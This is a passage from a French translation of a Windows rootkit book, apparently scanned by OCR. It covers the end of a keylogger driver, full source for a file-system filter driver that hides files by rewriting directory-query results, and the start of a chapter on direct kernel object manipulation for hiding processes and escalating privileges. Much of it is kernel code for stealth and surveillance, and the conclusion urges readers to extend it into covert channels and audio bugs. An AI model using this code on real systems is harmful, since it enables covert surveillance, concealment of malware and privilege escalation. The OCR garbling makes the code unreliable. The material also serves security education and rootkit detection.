KeWaitForSingleObject(pKeyboardDeviceExtension->pThreadObj, 

Executive, 

KernelMode, 
false, NULL); 

DbgPrint("Key logger thread terminated\n" ) ; 

Pour finir, le fichier journal est ferme : 

// Ferme le fichier journal 

ZwClose(pKeyboardDeviceExtension->hLogFile) ; 

Puis une routine de nettoyage est executee : 

// Supprime le peripherique 

IoDeleteDevice(pDriverObj ect->DeviceObj ect); 

DbgPrint("Tagged IRPs dead. . .Terminating. . .\n"); 
return; 

} 

Le sniffeur de clavier est maintenant complet. Ce code est important en ce qu’il 
constitue un point de depart ideal pour se brancher sur d’autres rootkits chaines. 
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De plus, un sniffeur de clavier represente l’un des rootkits les plus utiles qui soient. La 
frappe peut reveler beaucoup de choses et foumir de nombreuses preuves. 

Drivers de filtrage de fichiers 

Les drivers chaines peuvent etre appliques a de nombreuses cibles, le systeme de 
fichiers faisant partie des plus importantes. Un driver chaine pour le systeme de 
fichiers est en fait plutot complexe, principalement du fait que les mecanismes de 
gestion de fichiers offerts par Windows sont tres robustes. 

Le systeme de fichiers est d’un interet particulier pour les rootkits pour des raisons de 
furtivite. Nombre de rootkits ont besoin d’y stocker des fichiers, lesquels doivent rester 
masques. II est possible d’ employer des hooks comme ceux couverts au Chapitre 4 
pour dissimuler des fichiers, mais cette technique est facilement detectable. De plus, 
hooker la table de descripteurs de services systeme ne permet pas de cacher des 
fichiers ou des repertoires s’ils sont montes sur un partage SMB. Nous decrivons dans 
cette section une meilleure approche qui s’appuie sur un driver chaine 1 . 

Nous allons commencer par examiner la routine DriverEntry : 

NTSTATUS DriverEntry( 

IN PDRIVER_OBDECT DriverObject, 

IN PUNICODE_STRING RegistryPath ) 

{ 


for( i = 0; i <= IRP_M1_MAXIMUM_FUNCTI0N; i++ ) 

{ 

DriverObject->MajorFunction[i] = OurDispatch; 

} 

DriverObject->FastIoDispatch = &OurFastIOFIook; 

Nous definissons le tableau MajorFunction pour qu’il pointe vers notre routine de 
dispatching. Nous definissons egalement une table de dispatching pour les appels 
Fastlo. Cette table est une autre methode au moyen de laquelle les drivers du systeme 
de fichiers peuvent communiquer. Cette methode est propre a ce type de drivers. 


1. Nous couvrons la theorie de cette approche seulement. Aucun code n’est disponible en telechargement. 
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Une fois la table de dispatching en place, nous pouvons hooker les unites de disque. 
Nous appelons la fonction HookDriveSet 1 pour installer des hooks sur toutes les lettres 
d’ unites disponibles : 

DWORD d_hDrives = 0; 

// Initialise les unites a hooker for (i = 0; i 
< 26; i++) 

DriveHookDevices[i] = NULL; 

DrivesToHook = 0; 

ntStatus = GetDrivesToHook(&d_hDrives); 
if( !NT_SUCCESS(ntStatus)) return ntStatus; 

HookDriveSet(d_hDriveSj DriverObject) ; 

Voici le code permettant d’obtenir la liste des unites a hooker : 

NTSTATUS Get DrivesToHook (DWORD *d_hookDrives) 

{ 

NTSTATUS ntstatus; 

PROCESS_DEVICEMAP_IN FORMATION s_devMap; 

DWORD MaxDriveSet, CurDriveSet; int drive; 
if (d_hookDrives == NULL) return STATUSUDNSUCCESSFUL; 

Notez l’emploi du handle "magique" pour le processus courant : 

ntstatus = ZwQuerylnformationProcess( (HANDLE) 0xffffffffj 

ProcessDeviceMap, 

&s_devMap, 
sizeof (s_devMap), 

NULL); 

if ( !NT_SUCCESS(ntstatus)) return ntstatus; 

// Recupere les unites disponibles MaxDriveSet = 
s_devMap. Query .DriveMap; 

CurDriveSet = MaxDriveSet; 

for ( drive = 0; drive < 32; ++drive ) 

{ 

if ( MaxDriveSet & (1 « drive) ) 

{ 

switch ( s_devMap. Query .DriveType[ drive ] ) 

{ 


1. Les fonctions HookDrive et HookDriveSet ont ete adaptees et proviennent du code source publie de 
Filemon, un outil disponible sur www.svsinternals.com . Ce code-ci a ete considerablement modifie et 
s’execute entierement dans le noyau. Le code source de Filemon n’est plus disponible en telechargement sur 
Sysinternals. 
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Nous commengons par eliminer les unites que nous voulons ignorer : 

II Elimine les unites qui ne nous interessent pas 

case DRIVEJJNKNOWN:// Le type d' unite ne peut pas etre determine case 
DRIVE_NO_ROOT_DIR:// Le repertoire racine n'existe pas CurDriveSet &= 
~(1 « drive); break; 

// L' unite peut etre supprimee. 

// II vaut mieux eviter de placer des fichiers caches // 
sur une unite supprimable car nous ne controlerons // pas 
necessairement l'ordinateur sur lequel elle // sera 
montee ensuite, case DRIVE_REMOVABLE : 

CurDriveSet &= ~(1 « drive); break; 

// L' unite est un lecteur de CD-ROM case DRIVE_CDROM: 

CurDriveSet &= -(1 « drive); break; 

Nous allons hooker les unites suivantes : drive fixed, drive remgte et 

DRIVE_RAMDISK . 

Le code continue comme ceci : 



*d_hookDrives = CurDriveSet; 
return ntstatus; 


Voici le code pour hooker le groupe d’unites : 


ULONG HookDriveSet(IN ULONG DriveSet, 

IN PDRIVER_0B1ECT DriverObject) 


PHOOK_EXTENSION hookExt; 

ULONG drivej i; 

ULONG bit; 

// Scanne la table d' unites, recherchant les unites a hooker // a 
l'aide du masque binaire DriveSet for ( drive = 0; drive < 26; 
++drive ) 

{ 


bit = 1 « drive; 

// Cette unite doit-elle etre hookee ? 

if( (bit & DriveSet) && ! ( bit & DrivesToHook) ) 

{ 

if( !HookDrive( drive, DriverObject )) 

{ 

// Elimine 1' unite du groupe si elle ne peut etre hookee DriveSet & 
-bit; 

} 
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else 

{ 

II Hooke les unites du meme groupe for( i = 0; i < 26; i++ 

) 

{ 

if( DriveHookDevices[i] == 

DriveHookDevicesf drive ] ) 

{ 

DriveSet |= ( l«i ); 

} 

} 

} 

} 

else if( ! ( bit & DriveSet) && (bit & DrivesToHook) ) 

{ 

// Elimine le hook sur cette unite et toutes celles du groupe for( i = 
0; i< 26; i++ ) 

{ 

if( DriveHookDevices[i] == DriveHookDevices ! drive ] ) 

{ 

UnhookDrive( i ); 

DriveSet &= ~(1 « i); 



// Retourne le groupe d' unites hookees DrivesToHook = DriveSet; return 
DriveSet; 

} 

Le code pour eliminer le hook d’ unites individuelles debute comme ceci : 

VOID UnhookDrive(IN ULONG Drive) 

{ 

PH00K_EXTENSI0N hookExt; 

Ici, nous eliminons le hook des unites hookees : 

if( DriveHookDevices [Drive] ) 

{ 

hookExt = DriveHookDevices [Drive] ->DeviceExtension; 
hookExt->Hooked = FALSE; 

} 

} 

BOOLEAN HookDrive(IN ULONG Drive, IN PDRIVER_0B1ECT DriverObject) 


{ 


I0_STATUS_BL0CK ioStatus; 
HANDLE ntFileHandle; 
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0B1ECT_ATTRIBUTES obj ectAttributes; 

PDEVICE_0B1 ECT f ileSysDevice; 

PDEVICE_OBD ECT hookDevice; 

UNICODE_STRING f ileNameUnicodeString; 

PFILE_FS_ATTRIBUTE_INFORMATION fileFsAttributes; 

ULONG fileFsAttributesSize; 

WCFIAR filename[] = L"\\DosDevices\\A:\\"; 

NTSTATUS ntStatus; 

ULONG i; 

PFILE_0B1ECT fileObject; 

PH00K_EXTENSI0N hookExtension; 
if( Drive >= 26 ) 

return FALSE; // Lettre d' unite illegale 
// Teste si cette unite a ete hookee 
if( DriveFlookDevices [Drive] == NULL ) 

{ 

filename[12] = (CFIAR) ( ’ A ' +Drive) ; // Definit le nom d'unite 

Ici, nous ouvrons le repertoire racine du volume : 

RtlInitUnicodeString(&f ileNameUnicodeString, filename) ; 
InitializeObjectAttributes(&objectAttributes, &f ileNameUnicodeString, 

0B2_CASE_INSENSITIVE, NULL, NULL); 
ntStatus = ZwCreateFile(&ntFileHandle, 

SYNCHRONIZE | FILE_ANY_ACCESS, 

&obj ectAttributes, 

&ioStatus, 

NULL, 

0 , 

FILE_SHARE_READ | FILE_SHARE_WRITE, 

FILE_OPEN, 

F I LE_SYNCHRONOUS_IO_NONALE RT 
*•1 FILE_DIRECTORY_FILE, 

NULL, 

0); 

if ( ! NT_SUCCESS( ntStatus )) 

{ 

Si le programme n’a pas pu ouvrir l’unite, il retoume la valeur false : 
return FALSE; 

} 

// Utilise le handle de fichier pour rechercher l'objet fichier. 

// Si cela reussit, il faudra decrementer l'objet fichier. 
ntStatus = ObReferenceObjectByHandle(ntFileHandle, 

FIL E_R EAD_DATA, 

NULL, 

KernelMode, 

&fileObj ect, 

NULL); 

if ( !NT_SUCCESS( ntStatus )) 
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Si le programme n’a pas pu recuperer l’objet fichier a partir du handle, il retoume la 
valeur FALSE : 

ZwClose( ntFileHandle ); return FALSE; 

} 

// Recupere l'objet peripherique a partir de l'objet fichier fileSysDevice = 
IoGetRelatedDeviceObject( fileObject ); if ( IfileSysDevice) 

{ 

Si le programme n’a pas pu recuperer l’objet peripherique, il retoume la valeur 

FALSE : 


ObDereferenceObject( fileObject ); 

ZwClose( ntFileFlandle ); return FALSE; 

} 

// Examine la liste de peripheriques pour determiner si nous // 
sommes deja attaches a celui-ci. 

// Cela peut arriver lorsque plusieurs lettres d' unites sont // gerees 
par le meme redirecteur reseau. for( i = 0; i < 26; i++ ) 

{ 

if( DriveFlookDevices[i] == fileSysDevice ) 

{ 

// Si nous surveillons deja ce peripherique., associe la lettre // 
d' unite a celles qui sont gerees par le meme driver de reseau. 

// Ceci nous permet d'actualiser intelligemment les menus // de hooking 
lorsque 1 ' utilisateur specif ie que l'un des // groupes ne devrait pas 
etre surveille - nous marquons toutes // unites associees comme non 
surveillees egalement. ObDereferenceObj ect(fileObject) ; 

ZwClose( ntFileFlandle); 

DriveFlookDevices[ Drive ] = fileSysDevice; 
return TRUE; 



// Le peripherique du systeme de fichiers n'a pas encore ete hooke. // 
Cree un objet peripherique de hooking qui y sera attache. ntStatus = 
IoCreateDevice(DriverObject, sizeof (FI00K_EXTENSI0N) , 

NULL, 

f ileSysDevice->DeviceType, 
f ileSysDevice->Characteristics, 

FALSE, 

&hookDevice); 
if ( !NT_SUCCESS( ntStatus)) 


{ 
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Si le programme n’a pas pu creer le peripherique associe, il retoume la valeur 

FALSE : 


ObDereferenceObject( fileObject ); 

ZwClose( ntFileHandle ); return 
FALSE; 

} 

// Met a zero le flag d ' initialisation du peripherique. 

// Si nous ne le faisons pas, cela suppose que personne // ne pourra 
se chainer sur nous, ce qui peut etre // l'effet recherche dans 
certains cas. hookDevice->Flags &= ~DO_DEVICE_INITIALIZING; 
hookDevice->Flags |= (fileSysDevice-> 

Flags & (DO_BUFFERED_IO | DO_DIRECT_IO) ) ; 

// Definit les extensions de peripheriques . La lettre // d' unite et 
l'objet systeme de fichiers sont stockes // dans l'extension. 
hookExtension = hookDevice->DeviceExtension; 
hookExtension->LogicalDrive = 'A'+Drive; hookExtension- 
>FileSystem = fileSysDevice; hookExtension->Hooked = 

TRUE; hookExtension->Type = STANDARD; 

// Nous nous attachons au peripherique. 

// A partir de la, nous pouvons commencer a recevoir // les IRP 
destines au peripherique hooke. 

ntStatus = IoAttachDeviceByPointer(hookDevice, 

fileSysDevice); 

if ( ! NT_SUCCESS(ntStatus) ) 

{ 

ObDereferenceObj ect(fileObj ect); 

ZwClose(ntFileHandle) ; return 
FALSE; 

// 

// Determine s'il s'agit d'une unite NTFS 

// 

fileFsAttributesSize = 

Sizeof ( FILE_FS_ATTRIBUTE_INFORMATION) + MAXPATHLEN; 

hookExtension->FsAttributes = 

(PFILE_FS_ATTRIBUTE_INFORMATION) 

ExAllocatePool(NonPagedPool, fileFsAttributesSize); if ( hookExtension - 
>FsAttributes && !NT_SUCCESS( 

IoQueryVolumeInformation( fileObj ect, FileFsAttribute Informat ion, 

fileFsAttributesSize, 
hookExtension ->FsAttributes, 
&fileFsAttributesSize ))) 

{ 

// 

// En cas d'echec, nous n'avons simplement pas // d'attributs pour ce 
systeme de fichiers. 

// 
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ExFreePool( hookExtension->FsAttributes ); hookExtension->FsAttributes 
= NULL; 

} 

II 

II Ferme le fichier et actualise la liste d' unites II hookees en 
y inserant un pointeur vers l'objet II peripherique de hooking. 

II 

ObDereferenceObject( fileObject ); 

ZwClosef ntFileHandle ); 

DriveHookDevices [Drive] = hookDevice; 

} 

els e/I Cette unite est deja hookee 

{ 

hookExtension = DriveHookDevices [Drive] ->DeviceExtension; hookExtension- 
>Hooked = TRUE; 

} 

return TRUE; 

} 

Notre routine de dispatching est standard : 

NTSTATUS OurFilterDispatch(IN PDEVICE_OBDECT DeviceObject, 

IN PIRP Irp) 

{ 

PI0_STACK_L0CATI0N currentlrpStack; 
currentlrpStack = IoGetCurrentlrpStackLocation(Irp); 
IoCopyCurrentlrpStackLocationToNext(Irp) ; 

Voici la section la plus importante de la routine de dispatching. C’est ici que nous 
definissons la routine de terminaison d’E/S, laquelle sera appelee une fois que 1’IRP 
aura ete traite par les drivers sous-jacents ; 

IoSetCompletionRoutine( Irp, OurFilterHookDone, NULL, TRUE, TRUE, FALSE ); 
return IoCallDriver( hookExt->FileSystem, Irp ); 

} 

Tout le filtrage a lieu dans la routine de terminaison : 

NTSTATUS 

OurFilterHookDone ( 

IN PDEVICEUDBTECT DeviceObject, 

IN PIRP Irp, 

IN PVOID Context 

) 

{ 

IrpSp = IoGetCurrentIrpStackLocation( Irp ); 
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Nous recherchons ici une requete de repertoire. Nous verifions egalement que 
l’execution se deroule au niveau d’lRQ passive level : 

if (IrpSp->Maj orFunction == IRP_MD_DIRECTORY_CONTROL && 

IrpSp->Minor Function == I RP_MN_QUERY_DI RECTORY && 

KeGetCurrentIrql() == PASSIVE_LEVEL 

&& IrpSp->Parameters.QueryDirectory.FilelnformationClass == 
FileBothDirectorylnformat ion ) 

{ 

PFILE_BOTH_DIR_INFORMATION volatile QueryBuffer = NULL; 
PFILE_BOTH_DIR_INFORMATION volatile NextBuffer = NULL; 

ULONG bufferLength; 

DWORD total_size = 0; 

BOOLEAN hide_me = FALSE; 

BOOLEAN reset = FALSE; 

ULONG size = 0; 

ULONG iteration = 0; 

QueryBuffer = ( P F I L E_BOTFI_DI R_IN FORMATION ) Irp->UserBuffer; 
bufferLength = Irp->IoStatus. Information ; if (bufferLength > 0) 

{ 

do 

{ 

DbgPrint("Filename: %ws\n", QueryBuffer->FileName); 

Ici, le rootkit peut analyser le nom de fichier et determiner s’il doit le dissimuler. Les 
noms a cacher peuvent etre predefinis et charges dans une liste ou peuvent sinon se 
fonder sur des sous-chaines telles qu’un prefixe - auquel cas un fichier sera dissimule 
si son nom inclut un ensemble specifique de caracteres de prefixe - ou une extension 
de fichier speciale. Nous laissons cette partie au lecteur a titre d’exercice. 

Nous choisissons de cacher le fichier et definissons un flag indiquant cela : 

hide_me = TRUE; 

Pour cacher un fichier, le rootkit doit modifier le tampon QueryBuffer en supprimant 
fentree associee. II doit gerer les choses differemment selon qu’il s’agit de la premiere 
ou de la demiere entree ou d’une entree intermediaire : 

if(hide_me && iteration == 0) 
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Ce point est atteint lorsque le premier fichier de la liste doit etre cache. Ensuite, le 
programme verifie s’il s’agit de la settle entree de la liste : 

if ((IrpSp->Flags == SL_RETURN_SINGLE_ENTRY) || 

(QueryBuffer->NextEntryOffset == 0)) 

{ 

Ce point est atteint lorsque la liste ne contient que cette entree. Nous mettons a zero le 
tampon de requete et signalons que nous retoumons zero octet : 

RtlZeroMemory(QueryBuffer., sizeof(FILE_BOTH_DIR_INFORMATION)); total_size = 

0 ; 

} 

else 

{ 

Ce point est atteint si la liste contient d’autres entrees. Nous rectifions la taille totale 

que nous retoumons et supprimons 1’ entree voulue : 

total_size -= QueryBuffer->NextEntryOffset ; temp = 

ExAllocatePool(PagedPool, total_size); if (temp != NULL) 

{ 

RtlCopyMemory(temp, ( (PBYTE)QueryBuffer + QueryBuffer-> 

NextEntryOff set ) , **- 
total_size); 

RtlZeroMemory(QueryBufferj total_size + QueryBuffer->Next- 
A HEntryOff set ) ; 

RtlCopyMemory(QueryBuffer, temp, total_size); 

ExFreePool(temp) ; 

} 

Nous definissons un flag pour indiquer que nous avons deja rectifie le tampon 

QueryBuffer : 

reset = TRUE; 

} 

> 

else if ((iteration > 0) && (QueryBuffer->NextEntryOffset != 0) 

&& (hide_me)) 

{ 

Ce point est atteint si nous dissimulons un element qui se trouve au milieu de la liste. 

Le programme elimine 1’ entree et corrige la taille a retoumer : 
size = ((PBYTE) inputBuffer + Irp- >IoStatus . Information) - 
(PBYTE)QueryBuffer - QueryBuffer->NextEntryOffset ; temp = 
ExAllocatePool(PagedPool, size); if (temp != NULL) 
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RtlCopyMemory(temp, ( (PBYTE)QueryBuffer + QueryBuffen-> 

NextEntnyOffset ) , size); 

total_size -= QueryBuffer->NextEntryOffset ; 

RtlZeroMemory(QueryBuffen, size + QueryBuffer->NextEntryOffset); 
RtlCopyMemory (QueryBuffer, temp, size); 

ExFreePool(temp) ; 

} 

Nous definissons de nouveau le flag reset pour indiquer que nous avons deja rectifie 

le tampon QueryBuffer : 
reset = TRUE; 

} 

else if ((iteration > 0) && (QueryBuffer->NextEntryOffset == 0) 

&& (hide_me)) 

{ 

Ce point est atteint si nous dissimulons la demiere entree de la liste. Eliminer l’entree 
est beaucoup plus aise dans ce cas puisqu’elle est simplement supprimee de la fin de la 
liste chainee. Nous ne traitons pas cela comme une correction du tampon QueryBuffer : 
size = ((PBYTE) inputBuffer + Irp-> 

IoStatus. Information) - (PBYTE) QueryBuffer; 
NextBuffer->NextEntryOffset = 0; total_size -= size; 

} 

Le rootkit passe ensuite a E entree suivante, si le tampon n’a pas encore ete rectifie (ce 

qui indiquerait que le traitement de la liste est termine) : 

iteration += 1 ; if ( ! reset) 

{ 

NextBuffer = QueryBuffer; 

QueryBuffer = (PFILE_BOTH_DIR_INFORMATION) ( (PBYTE) QueryBuffer + 
QueryBuffer->NextEntryOffset); 

1 

} 

while(QueryBuffer != NextBuffer) 

Une fois le traitement termine, la taille totale du nouveau tampon QueryBuffer est 
definie dans 1'IRP : 

IRP->IOSTATUS. INFORMATION = TOTAL_SIZE; 

Ensuite, 1’IRP est marque comme etant en attente si necessaire ; 

if( Irp->PendingReturned ) 


IoMarkIrpPending( Irp ); 
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L’etat de 1’IRP est retoume : 

return Irp->IoStatus. Status; 

} 

Lorsqu’un appel Fastlo a lieu, le code prend un chemin different. D’abord, nous 
initialisons la table de dispatching pour les appels Fastlo en tant que structure de 
pointeurs de fonctions : 

FAST_I0_DISPATCH OurFastlOHook = { 

Sizeof (FAST_IO_DISPATCH) , 

FilterFastloCheckif Possible , 

FilterFastloRead, 

FilterFastloWrite, 

FilterFastloQueryBasicInfo, 

FilterFastloQueryStandardlnfo, 

FilterFastloLock, 

FilterFastloUnlockSingle, 

FilterFastlolInlockAll, 

FilterFastloUnlockAllByKey, 

FilterFastloDeviceControl, 

FilterFastloAcquireFile, 

FilterFastloReleaseFilej 

FilterFastloDetachDevice, 

FilterFastloQueryNetworkOpenlnfo, 

FilterFastloAcquireForModWrite, 

FilterFastloMdlRead, 

FilterFastloMdlReadCompletej 

FilterFastloPrepareMdlWrite, 

FilterFastloMdlWriteComplete., 

FilterFastloReadCompressed, 

FilterFastloWriteCompressed, 

FilterFastloMdlReadCompleteCompressed, 

FiltenFastloMdlWriteCompleteCompressed., 

FilterFastloQueryOpen, 

FilterFastloReleaseForModWrite, 

FilterFastloAcquireForCcFlush, 

FilterFastloReleaseForCcFlush 

}; 

Chaque appel passe par l’appel reel de Fastlo. Autrement dit, nous ne filtrons aucun 
des appels Fastlo. La raison est que les requetes de listage de fichiers et de 
repertoires ne sont pas implementees en tant qu’appels Fastlo, lesquels utilisent une 
macro 1 : 

#def ine FASTIOPRESENT ( hookExt, _call ) \ 

(_hookExt->FileSystem->DriverObject->FastIoDispatch && \ 


1 . La macro FASTIOPRESENT a ete ecrite par Mark Russinovich (Sysintemals) pour 1'utilitaire Filemon. Le code 
source n’est plus disponible. 
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( ( (ULONG )&JiookExt->FileSystem->DriverObject->FastIoDispatch->_call - \ 
(ULONG) &_hookExt->FileSystem-> DriverObject-xFastloDispatch- 
>SizeOf FastloDlspatch < \ 

(ULONG) _hookExt->FileSystem->DriverObject->FastIoDispatch- 
>SizeOf FastloDispatch )) && \ 

hookExt->FileSystem->DriverObject->FastIoDispatch->_call ) 

Voici un exemple d’appel de passage. Tous ces appels possedent un format similaire. 
Chacun d’eux doit etre defini, mais aucun filtrage n’a lieu dans aucun d’entre eux. Ils 
sont documentes dans le fichier Ntddk. h ou dans le kit IFS (Installable File System) 
disponible aupres de Microsoft. 


BOOLEAN 

FilterFastIoQiieryStandardInfo( 

IN PFILEDDBDECT FileObject, 

IN BOOLEAN Wait, 

OUT PFILE_STANDARD_INFORMATION Buffer, 

OUT PIO_STATUS_BLOCK IoStatUS, 

IN PDEVICE_OBIECT DeviceObject 

) 

{ 

BOOLEAN retval = FALSE; 

PH00K_EXTENSI0N hookExt; 
if( IDeviceObject ) return FALSE; 
hookExt = DeviceObject->DeviceExtension; 
if( FASTIOPRESENT( hookExt, FastloQueryStandardlnfo) ) 
{ 


retval = hookExt->FileSystem->DriverObject->FastIoDispatch-> 
FastIoQueryStandardInfo( FileObject, Wait, Buffer, IoStatus, 

hookExt->FileSystem ); 


return retval; 

} 


Le driver de filtrage de fichiers est a present termine. 


Selon leurs fonctionnalites, les filtres de fichiers comptent parmi les drivers de 
peripheriques les plus difficiles a ecrire correctement. Nous esperons que cette 
presentation vous aura aide a comprendre le fonctionnement de base d’un rootkit 
lorsqu’il effectue un filtrage au niveau du systeme de fichiers pour cacher des fichiers 
et des repertoires. Celui decrit dissimule uniquement des fichiers et des repertoires et il 
n’est done pas aussi complique que certains autres filtres. Pour en savoir plus sur les 
systemes de fichiers, nous vous recommandons Touvrage de R. Nagar 1 . 


1 . R. Nagar, Windows NT File System Internals: A Developer ’s Guide (Sebastopol, CA : O’Reilly & Associates, 
1997). 
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Conclusion 

Le chainage de drivers represente un moyen fiable et robuste d’intercepter et de 
modifier des donnees dans un systeme. II peut etre employe non seulement a des fins 
de furtivite, mais aussi pour la collecte et la modification de donnees. Les lecteurs 
audacieux et les aspirants developpeurs de rootkits peuvent etendre les exemples de ce 
chapitre pour intercepter ou modifier des donnees de reseau, creer des canaux de 
communication secrets, intercepter ou creer des signaux video et meme creer des bugs 
audio. 



7 


Manipulation directe 
des objets du noyau 


Generalement, la meilleure strategic guerriere consiste a prendre le pays de 
l 'ennemi intact ; le detruire est une tactique inferieure. 

- Sun Tzu 


Dans les chapitres precedents, nous avons explore un grand nombre de techniques de 
hooking. Le hooking d’un systeme d’ exploitation est une approche efficace, surtout en 
raison de 1’ impossibility de pouvoir compiler un rootkit pour E edition du systeme vise. 
Dans certains cas, le hooking est la seule methode dont dispose un developpeur de 
rootkit. 

Toutefois, comme nous V avons vu dans les chapitres precedents, le hooking n’est pas 
exempt d’inconvenients. Si quelqu’un sait ou rechercher, un hook peut generalement 
etre detecte. C’est meme simple, comme vous le verrez au Chapitre 10, en employant 
un utilitaire appele VICE. De plus, les mecanismes de protection du noyau, tels que le 
placement de certaines pages memoire en lecture seule (aujourd’hui ou dans un proche 
futur), rendront la technique du hooking inutilisable. 

Dans ce chapitre, nous etudierons une technique fondee sur la manipulation directe des 
objets du noyau appelee DKOM ( Direct Kernel Object Manipulation). Elle permet de 
modifier certains objets dont se sert le noyau pour sa gestion interne. 
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Apres avoir lu ce chapitre, vous comprendrez comment des processus et des drivers 
peuvent etre dissimules sans implementer aucun hook. 

Vous apprendrez aussi comment modifier le jeton d’acces d’un processus afin 
d’obtenir des privileges de niveau systeme ou administrateur sans avoir a effectuer 
d’appel API. II est tres difficile de prevenir une attaque de ce genre. 


- lKK, jj§g 

Dans ce chapitre, les termes objet et structure sont utilises de fagon interchangeable. "Objet" 
est le terme que Microsoft emploie pour se referer aux structures du noyau. 


Avantages et inconvenients de la technique DKOM 

Avant de nous plonger dans les specificites de cette technique, il est important d’en 
comprendre les avantages mais aussi les inconvenients. Pour un attaquant, un aspect 
positif est qu’elle est extremement difficile a detecter. Dans des circonstances 
normales, la modification d’objets du noyau, tels que des processus ou des jetons 
d’acces, necessite de passer par le Gestionnaire d’objets (Object Manager). C’est le 
point central d’acces aux objets et il foumit les fonctionnalites qui leur sont 
communes, par exemple pour leur creation, leur suppression ou leur protection. La 
technique DKOM permet de contoumer ce composant majeur et, par la meme, tous les 
controles d’acces afferents aux objets. 

D’un autre cote, cette technique se montre extremement fragile et le developpeur devra 
se poser certaines questions : 

■ Quelle est l’apparence de l’objet vise, quels sont ses membres ? C’est une 
question a laquelle il est parfois difficile de repondre. Lors des recherches 
entamees dans le cadre de ce livre, la seule fag on d’y repondre etait de travailler 
avec des utilitaires de debugging, tels que Softlce (de la societe Compuware) ou 
autre. Recemment, Microsoft a facilite cette tache. En utilisant WinDbg, un 
debugger telechargeable gratuitement a partir de son site, vous pouvez afficher les 
membres d’objets au moyen de la commande dt nt \_nom_d' objet. Par exemple, 
pour lister tous les membres de la structure eprocess, saisissez dt nt I eprgcess. 
Connaitre les elements geres en tant qu’ objets par le systeme pose toujours 
probleme, et tous les objets ne sont pas recenses dans WinDbg. 
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h De quelle maniere le noyau utilise-t-il les objets ? Vous ne saurez pas comment ou 
pour quelle raison modifier un objet si vous ne comprenez pas son role. Sans une 
comprehension profonde de la facon dont il est utilise dans le noyau, vous 
risqueriez de faire de nombreuses suppositions erronees. 

■ L’objet change-t-il apres un changement majeur de version du systeme 
d’exploitation ou meme apres une release mineure de Service Pack ? 

Beaucoup d’ objets parrni ceux que vous utiliserez par le biais de cette technique 
changent avec l’introduction d’une nouvelle version du systeme. Les objets sont 
congus pour etre opaques au programmeur mais, puisque vous les modifierez 
directement, vous devez comprendre le moindre changement pour le prendre en 
consideration. Puisque vous ne travaillerez pas avec des appels de fonctions pour 
les modifier, la compatibilite de votre approche avec une autre version du systeme 
ne sera pas garantie. 

H Quand l’objet est-il utilise ? Nous signifions quand non pas dans un sens temporel 
mais plutot relativement a l’etat du systeme d’exploitation ou de la machine. C’est 
une question importante car certaines zones de memoire et certaines fonctions ne 
sont pas toujours disponibles selon le niveau de la requete d’interruption (IRQL) 
en cours. Par exemple, si un thread est execute au niveau d’IRQL dispatch level , 
il ne peut acceder a une memoire paginee vers le disque, ce qui provoquerait une 
faute de page dans le noyau. 

Un autre aspect negatif de la technique DKOM est que vous ne pouvez pas l’utiliser 
pour toutes les fonctionnalites d’un rootkit. Seuls les objets que le noyau garde en 
memoire et utilise pour la gestion ( accounting ) peuvent etre manipules. Par exemple, 
le systeme gere une liste de tous les processus actifs. Comme nous le verrons dans ce 
chapitre, elle peut etre utilisee pour cacher des processus. D’un autre cote, il n’y a pas 
d’ objet en memoire representant tous les fichiers du systeme de fichiers. Par 
consequent, il ne sera pas possible de cacher des fichiers avec cette technique. Il faut 
alors recourir a des methodes plus traditionnelles, telles que le hooking ou le chainage 
d’un driver de filtrage de fichiers (ces techniques ont ete respectivement traitees aux 
Chapitres 4 et 6). 

En depit de ces limitations, cette technique peut etre employee pour les operations 
suivantes : 

H dissimuler des processus ; s 
dissimuler des drivers ; 
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m dissimuler des ports ; 

■ elever le niveau de privileges d’un thread et d’un processus ; 

B fausser une analyse forensique. 

Maintenant que vous avez une idee des avantages et des limites caracterisant cette 
technique, voyons ensemble comment la mettre en oeuvre. 

Determiner la version du systeme d'exploitation 

Puisque les structures du noyau changent avec l’introduction d’une nouvelle version 
du systeme d’exploitation, et parfois avec celle d’un Service Pack, un root- kit doit 
pouvoir detecter la version du systeme sur lequel il sera execute. A notre sens, 
l’emploi d’adresses ou d’offsets codes en dur n’est pas une bonne pratique de codage. 
Le code doit pouvoir s’ adapter a son contexte. L’objectif est de compiler une fois, ou 
au plus deux fois, et de pouvoir l’executer part out. 

Si le rootkit doit avoir une portion en mode utilisateur, il faut determiner la version du 
systeme dans un processus utilisateur au moyen de l’API Win32. Une autre solution 
est de la determiner dans le noyau. La premiere methode est beaucoup plus simple. 

Autodetermination du mode utilisateur 

Avec 1’ API Win32, vous pouvez utiliser la structure osversioninfo ou osversioninfoex 
pour obtenir des informations sur les versions majeures et mineures du systeme 
d’exploitation. La version ex specific aussi les versions majeures et mineures de 
Service Pack. 


OSVERSIONINFO versus OSVERSIONINFOEX 

Si vous projetez d' utiliser OSVERSIONINFO ou OSVERSIONINFOEX, sachez que certaines 
versions de Windows ne supportent pas la version EX de la structure. Le membre 
size indique la version de la structure utilisee. Dans les deux cas, vous pouvez 
appeler la meme fonction GetVersionEx. Dans le cas de OSVERSIONINFO, vous devez 
analyser 1' element szCSDVersion pour determiner le niveau du Service Pack. 


Voici la definition de la structure OSVERSIONINFO : 


typedef struct _OSVERSIONINFOEX { 
DWORD dwOSVersionlnfoSize; 
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DWORD dwMajorVersion; 

DWORD dwMinorVersion; 

DWORD dwBuildNumber; 

DWORD dwPlatformld; 

TCHAR szCSDVersion[128] ; 

WORD wSenvicePackMajor; 

WORD wSenvlcePackMinor; 

WORD wSuiteMask; 

BYTE wProductType; 

BYTE wResenved; 

} OSVERSIONINFOEX, *P0SVERSI0NINF0EX, *LPOSVERSIONINFOEX; 

Apres 1’ avoir declaree dans votre code, passez un pointeur vers cette structure lors de 
l’appel de GetVersionEx. Voici le prototype de la fonction : 

BOOL GetVersionEx( LPOSVERSIONINFO lpVersionlnfo ); 

Suite a l’appel, vous devez avoir identifie la version du systeme d’ exploitation. Voici 
un exemple d’appel utilisant la structure osversioninfoex pour connaitre la version du 
systeme et le niveau du Service Pack : 

void DetermineOSVersion() 

{ 

OSVERSIONINFOEX osvi; 

// Recupere la taille de la structure 
osvi.dwOSVersionlnfoSize = sizeof (OSVERSIONINFOEX) ; if 
(GetVersionEx( (OSVERSIONINFO *) &osvi)) 

{ 

switch (osvi. dwPlatformld) 

{ 

// Test pour la famille de produits Windows NT 
case VER_PLATF0RM_WIN32_NT : 

// Test du produit if ( osvi. dwMajorVersion == 4 
&& \ osvi. dwMinorVersion == 0) 

{ 

fprintf (stderr, "Microsoft Windows NT 4.0 "); 

II. . 

} 

else if ( osvi. dwMajorVersion == 5 && \ 
